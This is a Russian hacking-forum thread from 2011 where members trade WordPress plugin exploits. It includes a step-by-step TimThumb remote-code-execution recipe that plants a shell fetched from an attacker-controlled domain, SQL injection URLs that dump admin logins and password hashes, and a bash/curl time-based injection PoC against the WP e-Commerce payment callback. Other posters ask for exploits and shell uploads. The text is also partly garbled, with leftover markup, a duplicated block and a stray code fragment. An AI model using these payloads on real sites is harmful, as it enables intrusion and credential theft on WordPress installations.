
15.08.2011, 18:49
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
Провел на форуме: 262707
Репутация:
935
|
|
Сообщение от абвгдешка
WordPress TimThumb Plugin - Remote Code Execution
Собственно пошаговая инструкция:
1. Регистрируем домен: blogger.com.hacker.com
2. Создаем скрипт shell.php с таким содержимым:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
3. Идем сюда: http://target.com/wp-content/plugins/module/timthumb.php?src=http://blogger.com.hacker.com/shell.php
4. Шелл тут: http://target.com/wp-content/plugins/module/cache/75ee2a70bd93faa5ae8ef9b823b8abae.php *
* имя файла это md5('http://blogger.com.hacker.com/shell.php')
|
|
|

17.08.2011, 11:50
|
|
Познающий
Регистрация: 02.05.2011
Сообщений: 48
Провел на форуме: 9121
Репутация:
1
|
|
[COLOR="DarkGreen"][SIZE="2"][B]WordPress IP-Logger Plugin
|
|
|

29.08.2011, 17:06
|
|
Новичок
Регистрация: 19.05.2011
Сообщений: 26
Провел на форуме: 5429
Репутация:
-1
|
|
Exploit Title: WordPress Collision Testimonials plugin
Код:
# Exploit Title: WordPress Collision Testimonials plugin 1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
---------------
Vulnerable code
---------------
if (isset($_GET['featQuote'])) {
$id = $_GET['id'];
mysql_query("UPDATE $testimonials SET featured=1 WHERE id=$id");
};
|
|
|

04.09.2011, 00:03
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме: 0
Репутация:
0
|
|
DJ On Air Widget SQL-inj
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"].....
[/COLOR][COLOR="#0000BB"]$dj_ids[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_results[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT `meta`.`user_id` FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]prefix[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"usermeta AS `meta`
WHERE `meta_key` = 'shifts'
AND `meta_value` LIKE '%"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$sDayTime[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"%';"
[/COLOR][COLOR="#007700"]);
.....
foreach([/COLOR][COLOR="#0000BB"]$dj_ids[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$fetch[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]prefix[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"users AS `user` WHERE `user`.`ID` = "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_id[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$djs[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$fetch[/COLOR][COLOR="#007700"];
}
.....[/COLOR][/COLOR]
exploit:
Код:
http://wp/?dj-on-air=users&sdate=21-06-1945%+UNION+SELECT+1,2,3,4,5,group_concat(user_login,0x3a,user_pass+separator+0x3c62723e)+FROM+wp_users+WHERE+ID+IN+(SELECT+user_id+FROM+wp_usermeta+WHERE+meta_value=0x613A313A7B733A31333A2261646D696E6973747261746F72223B623A313B7D)--+
Timthumb Vulnerability Scanner раскрытие путей
этот ваще пена xD
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]....
if(isset([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cg-action'[/COLOR][COLOR="#007700"]])){
switch([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cg-action'[/COLOR][COLOR="#007700"]]){
case[/COLOR][COLOR="#DD0000"]'scan'[/COLOR][COLOR="#007700"]:
include_once[/COLOR][COLOR="#DD0000"]'cg-tvs-filescanner.php'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$scanner[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]CG_FileScanner[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]WP_CONTENT_DIR[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$scanner[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]generate_inventory[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$scanner[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]scan_inventory[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]update_option[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'cg_tvs_last_checked'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Y-m-d H:i:s"[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]update_option[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'cg_tvs_vulnerable_files'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$scanner[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]VulnerableFiles[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]update_option[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'cg_tvs_safe_files'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$scanner[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]SafeFiles[/COLOR][COLOR="#007700"]);
case[/COLOR][COLOR="#DD0000"]'fix'[/COLOR][COLOR="#007700"]:
[/COLOR][COLOR="#0000BB"]$nonce[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'_wpnonce'[/COLOR][COLOR="#007700"]];
if([/COLOR][COLOR="#0000BB"]wp_verify_nonce[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$nonce[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'fix_timthumb_file'[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$fix_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$src_file_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]trailingslashit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]dirname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]__FILE__[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#DD0000"]'cg-tvs-timthumb-latest.txt'[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]$fr[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$src_file_path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'r'[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$latest_src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fread[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]filesize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$src_file_path[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fr[/COLOR][COLOR="#007700"]);
}else{
[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"CAN'T READ TIMTHUMB SOURCE FILE"[/COLOR][COLOR="#007700"];
break;
}
if([/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]$fw[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fix_path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"])){
if([/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fw[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$latest_src[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"File "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]basename[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fix_path[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]" at "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$fix_path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" successfully upgraded."[/COLOR][COLOR="#007700"];
}else{
[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"Unknown file write error."[/COLOR][COLOR="#007700"];
}
}else{
[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"CAN'T OPEN VULNERABLE FILE FOR WRITING"[/COLOR][COLOR="#007700"];
break;
}
....[/COLOR][/COLOR]
exploit:
Код:
http://wp/wp-content/plugins/tvulnerscanner/cg-tvs-filescanner.php?file[]=
|
|
|

09.09.2011, 21:21
|
|
Познающий
Регистрация: 02.05.2011
Сообщений: 48
Провел на форуме: 9121
Репутация:
1
|
|
[COLOR="DarkGreen"][SIZE="3"]Wordpress Event Registration plugin
|
|
|

15.09.2011, 02:28
|
|
Новичок
Регистрация: 25.08.2011
Сообщений: 7
Провел на форуме: 2607
Репутация:
0
|
|
WP Photo Album Plus 4.0.12
#1 Blind SQLi @ wppa-functions.php:
Код:
function wppa_crumb_page_ancestors($sep, $page = '0') {
global $wpdb;
global $wppa;
$query = "SELECT post_parent FROM " . $wpdb->posts . " WHERE post_type = 'page' AND post_status = 'publish' AND id = " . $page . " LIMIT 0,1";
$parent = $wpdb->get_var($query);
if (!is_numeric($parent) || $parent == '0') return;
wppa_crumb_page_ancestors($sep, $parent);
$query = "SELECT post_title FROM " . $wpdb->posts . " WHERE post_type = 'page' AND post_status = 'publish' AND id = " . $parent . " LIMIT 0,1";
$title = $wpdb->get_var($query);
if (!$title) {
$title = '****'; // Page exists but is not publish
$wppa['out'] .= wppa_nltab().'';
$wppa['out'] .= wppa_nltab().''.$title.$sep.'';
} else {
$wppa['out'] .= wppa_nltab().''.$title.'';
$wppa['out'] .= wppa_nltab().''.$sep.'';
}
}
переменная $page из _GET не фильтруется.
exploit:
Если уровень вложения страницы галеры > 1, то при кривом запросе родительский элемент пропадает из навигации хлебных крошек.
#2 SQLi @ wppa-functions.php
Код:
$thumbs = $wpdb->get_results('SELECT * FROM '.WPPA_PHOTOS.' WHERE mean_rating > 0 AND album = '.$alb.' ORDER BY mean_rating DESC LIMIT '.$max, 'ARRAY_A');
exploit:
somehomst.com/?page_id=9&topten=1&album=1 UNION ALL SELECT 1,2,3,version(),5,6,7,8,9,10--
|
|
|

16.09.2011, 20:08
|
|
Новичок
Регистрация: 21.01.2011
Сообщений: 10
Провел на форуме: 3807
Репутация:
0
|
|
Кто-нибудь заливал шелл через плагин contact form 7?
|
|
|

16.09.2011, 23:19
|
|
Новичок
Регистрация: 11.06.2011
Сообщений: 9
Провел на форуме: 2538
Репутация:
0
|
|
Кто подскажет как сейчас обстоят дела сookies для WP?
|
|
|

18.09.2011, 08:41
|
|
Новичок
Регистрация: 05.06.2011
Сообщений: 13
Провел на форуме: 2365
Репутация:
0
|
|
подскажите сплоит под WordPress 2.8.6
|
|
|

18.09.2011, 18:15
|
|
Постоянный
Регистрация: 02.11.2009
Сообщений: 341
Провел на форуме: 599124
Репутация:
65
|
|
[B]WordPress WP e-Commerce plugin 1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,11 2))),0)%23&cs3=123f7bcd4ba53fade05886a7e77bf045&tr ansaction_type=rebill
e.g.
#!/bin/bash
payload="-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,10 9,97,112))),0)#"
hash=`echo -n $payload | md5sum | tr -d '\n' | sed 's/\s*-\s*//g' | md5sum | tr -d '\n' | sed 's/\s*-\s*//g'`
curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_ type=rebill" http://www.site.com/?chronopay_callback=true
---------------
Vulnerable code
---------------
./wp-e-commerce/wp-shopping-cart.php:
class WP_eCommerce {
function WP_eCommerce() {
add_action( 'plugins_loaded', array( $this, 'init' ), 8 );
}
function init() {
...
$this->load();
...
}
function load() {
...
wpsc_core_load_gateways();
...
}
...
$wpec = new WP_eCommerce();
./wp-e-commerce/wpsc-core/wpsc-functions.php:
function wpsc_core_load_gateways() {
global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;
$gateway_directory = WPSC_FILE_PATH . '/wpsc-merchants';
$nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );
$num = 0;
foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
if ( stristr( $nzshpcrt_merchant, '.php' ) ) {
require( WPSC_FILE_PATH . '/wpsc-merchants/' . $nzshpcrt_merchant );
}
./wp-e-commerce/wpsc-merchants/chronopay.php:
function nzshpcrt_chronopay_callback()
{
...
if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay'))
{
$salt = get_option('chronopay_salt');
// - this is by default '' and set only if explicitly stated
// inside Store Settings->Payments->General Settings->
// Chronopay->Edit->Security Key
// - problem is that there are more popular payment gateways enlisted (e.g.
// Google Checkout and PayPal) and if that setting is not explicitly set
// it wide opens the door to the potential attacker
$gen_hash = md5($salt . md5($_POST['cs1'] . $salt));
if($gen_hash == $_POST['cs3'])
{
...
$sessionid = trim(stripslashes($_POST['cs1']));
$transaction_id = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_id'] = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_type'] = trim(stripslashes($_POST['transaction_type']));
switch($verification_data['trans_type'])
{
...
case 'rebill':
$wpdb->query("UPDATE `".WPSC_TABLE_PURCHASE_LOGS."` SET
`processed` = '2',
`transactid` = '".$transaction_id."',
`date` = '".time()."'
WHERE `sessionid` = ".$sessionid." LIMIT 1");
...
add_action('init', 'nzshpcrt_chronopay_callback');
[/QUOTE]
" if author else f"
---------------
PoC (POST data)
---------------
http://www.сайт.com/?chronopay_callback=true
cs2=chronopay&cs1=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,10 9,97,112))),0)%23&cs3=123f7bcd4ba53fade05886a7e77b f045&transaction_type=rebill
e.g.
#!/bin/bash
payload="-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,10 9,97,112))),0)#"
hash=`echo -n $payload | md5sum | tr -d '\n' | sed 's/\s*-\s*//g' | md5sum | tr -d '\n' | sed 's/\s*-\s*//g'`
curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_ type=rebill" http://www.site.com/?chronopay_callback=true
---------------
Vulnerable code
---------------
./wp-e-commerce/wp-shopping-cart.php:
class WP_eCommerce {
function WP_eCommerce() {
add_action( 'plugins_loaded', array( $this, 'init' ), 8 );
}
function init() {
...
$this->load();
...
}
function load() {
...
wpsc_core_load_gateways();
...
}
...
$wpec = new WP_eCommerce();
./wp-e-commerce/wpsc-core/wpsc-functions.php:
function wpsc_core_load_gateways() {
global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;
$gateway_directory = WPSC_FILE_PATH . '/wpsc-merchants';
$nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );
$num = 0;
foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
if ( stristr( $nzshpcrt_merchant, '.php' ) ) {
require( WPSC_FILE_PATH . '/wpsc-merchants/' . $nzshpcrt_merchant );
}
./wp-e-commerce/wpsc-merchants/chronopay.php:
function nzshpcrt_chronopay_callback()
{
...
if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay'))
{
$salt = get_option('chronopay_salt');
// - this is by default '' and set only if explicitly stated
// inside Store Settings->Payments->General Settings->
// Chronopay->Edit->Security Key
// - problem is that there are more popular payment gateways enlisted (e.g.
// Google Checkout and PayPal) and if that setting is not explicitly set
// it wide opens the door to the potential attacker
$gen_hash = md5($salt . md5($_POST['cs1'] . $salt));
if($gen_hash == $_POST['cs3'])
{
...
$sessionid = trim(stripslashes($_POST['cs1']));
$transaction_id = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_id'] = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_type'] = trim(stripslashes($_POST['transaction_type']));
switch($verification_data['trans_type'])
{
...
case 'rebill':
$wpdb->query("UPDATE `".WPSC_TABLE_PURCHASE_LOGS."` SET
`processed` = '2',
`transactid` = '".$transaction_id."',
`date` = '".time()."'
WHERE `sessionid` = ".$sessionid." LIMIT 1");
...
add_action('init', 'nzshpcrt_chronopay_callback');
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|